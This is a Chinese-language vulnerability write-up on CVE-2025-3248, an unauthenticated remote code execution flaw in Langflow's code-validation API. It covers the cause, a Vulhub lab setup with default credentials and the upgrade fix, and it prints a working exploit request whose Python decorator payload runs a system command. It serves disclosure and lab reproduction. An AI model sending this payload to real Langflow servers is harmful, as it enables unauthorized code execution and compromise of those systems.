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人工智能漏洞/Langflow code API 未授权远程代码执行漏洞 CVE-2025-3248.md
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人工智能漏洞/Langflow code API 未授权远程代码执行漏洞 CVE-2025-3248.md
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# Langflow code API 未授权远程代码执行漏洞 CVE-2025-3248
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## 漏洞描述
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Langflow 是一个流行的开源 AI 工作流可视化工具,允许用户通过 Web 界面拖拽式构建基于 Python 的智能体和数据处理流程。
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在 1.3.0 版本之前,Langflow 存在一个严重的未授权远程代码执行漏洞(CVE-2025-3248)。/api/v1/validate/code 接口原本用来校验用户提交的 Python 代码是否合法,其内部通过 ast 解析代码后,使用 exec 执行所有函数定义。然而,Python 的装饰器和默认参数表达式也会在函数定义时被执行,攻击者可以通过精心构造的装饰器或默认参数,在未授权的情况下实现任意代码执行。
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参考链接:
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- https://horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/
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- https://github.com/langflow-ai/langflow/releases/tag/1.3.0
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- [langflow-ai/langflow#6911](https://github.com/langflow-ai/langflow/pull/6911)
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## 漏洞影响
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```
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Langflow < 1.3.0
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```
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## 环境搭建
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Vulhub 执行如下命令启动 Langflow 1.2.0 漏洞环境:
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```
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docker compose up -d
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```
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服务启动后,Web 界面可通过 `http://your-ip:7860` 访问。你可以通过默认账号 `administrator:vulhub` 登录管理后台。
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## 漏洞复现
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直接向 `/api/v1/validate/code` 接口发送包含恶意装饰器的 Python 函数定义,即可来实现远程命令执行:
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```
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POST /api/v1/validate/code HTTP/1.1
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Host: your-ip:7860
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
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Content-Type: application/json
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Content-Length: 125
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{"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n pass","a7fb98s8pvr":"="}
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```
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## 漏洞修复
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升级至 Langflow 1.3.0 版本: https://github.com/langflow-ai/langflow/releases/tag/1.3.0
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